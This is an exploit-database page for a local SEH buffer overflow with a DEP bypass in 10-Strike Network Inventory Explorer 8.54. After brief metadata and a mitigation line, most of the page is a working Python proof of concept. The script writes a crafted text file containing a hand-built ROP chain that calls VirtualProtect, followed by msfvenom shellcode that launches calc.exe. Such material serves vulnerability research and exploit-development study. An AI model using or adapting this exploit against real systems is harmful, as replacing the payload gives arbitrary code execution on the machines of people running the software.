10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH)(DEP Bypass)

vendor:

Network Inventory Explorer

by:

bzyo

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Network Inventory Explorer

Affected Version From: 8.54

Affected Version To: 8.54

Patch Exists: NO

Related CWE:

CPE: 10-strike:network_inventory_explorer:8.54

Metasploit:

Other Scripts:

Platforms Tested: Windows 7 SP1 x86

2019

10-Strike Network Inventory Explorer 8.54 – Local Buffer Overflow (SEH)(DEP Bypass)

This exploit allows an attacker to execute arbitrary code by exploiting a buffer overflow vulnerability in 10-Strike Network Inventory Explorer version 8.54. By creating a specially crafted file and opening it in the application, an attacker can trigger the vulnerability and gain control over the target system. This exploit bypasses DEP (Data Execution Prevention) by manually creating a ROP (Return Oriented Programming) chain. The exploit was originally discovered by Hashim Jawad and the proof of concept code was published on Exploit Database (EDB: 44838).

Mitigation:

The vendor has not provided a patch or mitigation for this vulnerability. It is recommended to upgrade to a newer version of the software if available or to use an alternative solution.

Source

Exploit-DB raw data:

#!/usr/bin/python

# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: 10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH)(DEP Bypass)
# Date: 01-29-19
# Vulnerable Software: 10-Strike Network Inventory Explorer 8.54
# Vendor Homepage: https://www.10-strike.com/
# Version: 8.54 
# Software Link 1: https://www.10-strike.com/networkinventoryexplorer/network-inventory-setup.exe
# Tested Windows 7 SP1 x86

# PoC
# 1. run script
# 2. open app, select Computers tab  
# 3. click on 'From Text File'
# 4. choose 10strike.txt that was generated 
# 5. pop calc

# manually created ropchain based on mona.py 'rop.txt' and 'ropfunc.txt' finds
# practicing dep bypass by not using auto generated mona.py ropchains

# original seh poc from Hashim Jawad, EDB: 44838
# notes from author state offset is based upon username size, username for poc is 'user'

# badchars; \x00\x0a\x0d\x2f

import struct

filename = "10strike.txt"

junk  = "\x41" * 209

seh = struct.pack('<L',0x10013e29)

fill = "\x42"*12

#VirtualProtect()
#ESI = ptr to VirtualProtect()
rop = struct.pack('<L',0x7c3762b3)   # POP EAX # RETN 
rop += struct.pack('<L',0x61e9b30c)  # ptr to &VirtualProtect() 
rop += struct.pack('<L',0x1001872e)  # MOV EAX,DWORD PTR DS:[EAX] # RETN 
rop += struct.pack('<L',0x100101f2)  # POP EBX # RETN 
rop += struct.pack('<L',0xffffffff)  #
rop += struct.pack('<L',0x100186d1)  # ADD EBX,EAX # XOR EAX,EAX # RETN
rop += struct.pack('<L',0x7c358a01)  # INC EBX # XOR EAX,EAX # RETN 
rop += struct.pack('<L',0x7c3501d5)  # POP ESI # RETN
rop += struct.pack('<L',0xffffffff)  #
rop += struct.pack('<L',0x61e8509c)  # ADD ESI,EBX # RETN 
rop += struct.pack('<L',0x7c370464)  # INC ESI # RETN 

#EBP = ReturnTo (ptr to jmp esp)
#mona.py jmp -r esp -cpb '\x00\x0a\x0d'
rop += struct.pack('<L',0x61e05892)  # POP EBP # RETN 
rop += struct.pack('<L',0x61e053a9)  # push esp # ret

#EBX = dwSize x201
rop += struct.pack('<L',0x7c348495)  # POP EAX # RETN 
rop += struct.pack('<L',0xfffffdff)  # 
rop += struct.pack('<L',0x7c351e05)  # NEG EAX # RETN 
rop += struct.pack('<L',0x100101f2)  # POP EBX # RETN 
rop += struct.pack('<L',0xffffffff)  #  
rop += struct.pack('<L',0x61e0579d)  # INC EBX # RETN 
rop += struct.pack('<L',0x100186d1)  # ADD EBX,EAX # XOR EAX,EAX # RETN 
	  
#EDX = NewProtect (0x40)
rop += struct.pack('<L',0x7c344160)  # POP EDX # RETN 
rop += struct.pack('<L',0xffffffc0)  # 
rop += struct.pack('<L',0x7c351eb1)  # NEG EDX # RETN 
	  
#ECX = lpOldProtect (ptr to W address)
rop += struct.pack('<L',0x7c37157a)  # POP ECX # RETN
rop += struct.pack('<L',0x61e894c0)  # &Writable location sqlite3

#EDI = ROP NOP (RETN)
rop += struct.pack('<L',0x1001ab53)  # POP EDI # RETN
rop += struct.pack('<L',0x1001ab54)  # ROP-NOP 
	  
#EAX = NOP (0x90909090)
rop += struct.pack('<L',0x7c3647cc)  # POP EAX # RETN 
rop += struct.pack('<L',0x90909090)  # nop

#PUSHAD
rop += struct.pack('<L',0x10019094)  # PUSHAD # RETN 

nops = "\x90"*10

#msfvenom -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d\x3a\x5c' -f python
#Payload size: 220 bytes
calc =  ""
calc += "\xbb\x29\x86\xf9\x07\xda\xdb\xd9\x74\x24\xf4\x5e\x31"
calc += "\xc9\xb1\x31\x31\x5e\x13\x83\xee\xfc\x03\x5e\x26\x64"
calc += "\x0c\xfb\xd0\xea\xef\x04\x20\x8b\x66\xe1\x11\x8b\x1d"
calc += "\x61\x01\x3b\x55\x27\xad\xb0\x3b\xdc\x26\xb4\x93\xd3"
calc += "\x8f\x73\xc2\xda\x10\x2f\x36\x7c\x92\x32\x6b\x5e\xab"
calc += "\xfc\x7e\x9f\xec\xe1\x73\xcd\xa5\x6e\x21\xe2\xc2\x3b"
calc += "\xfa\x89\x98\xaa\x7a\x6d\x68\xcc\xab\x20\xe3\x97\x6b"
calc += "\xc2\x20\xac\x25\xdc\x25\x89\xfc\x57\x9d\x65\xff\xb1"
calc += "\xec\x86\xac\xff\xc1\x74\xac\x38\xe5\x66\xdb\x30\x16"
calc += "\x1a\xdc\x86\x65\xc0\x69\x1d\xcd\x83\xca\xf9\xec\x40"
calc += "\x8c\x8a\xe2\x2d\xda\xd5\xe6\xb0\x0f\x6e\x12\x38\xae"
calc += "\xa1\x93\x7a\x95\x65\xf8\xd9\xb4\x3c\xa4\x8c\xc9\x5f"
calc += "\x07\x70\x6c\x2b\xa5\x65\x1d\x76\xa3\x78\x93\x0c\x81"
calc += "\x7b\xab\x0e\xb5\x13\x9a\x85\x5a\x63\x23\x4c\x1f\x9b"
calc += "\x69\xcd\x09\x34\x34\x87\x08\x59\xc7\x7d\x4e\x64\x44"
calc += "\x74\x2e\x93\x54\xfd\x2b\xdf\xd2\xed\x41\x70\xb7\x11"
calc += "\xf6\x71\x92\x71\x99\xe1\x7e\x58\x3c\x82\xe5\xa4"

pad = "\x45"*(3000 - len(junk + seh + fill + rop + nops + calc))

buffer = junk + seh + fill + rop + nops + calc + pad

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()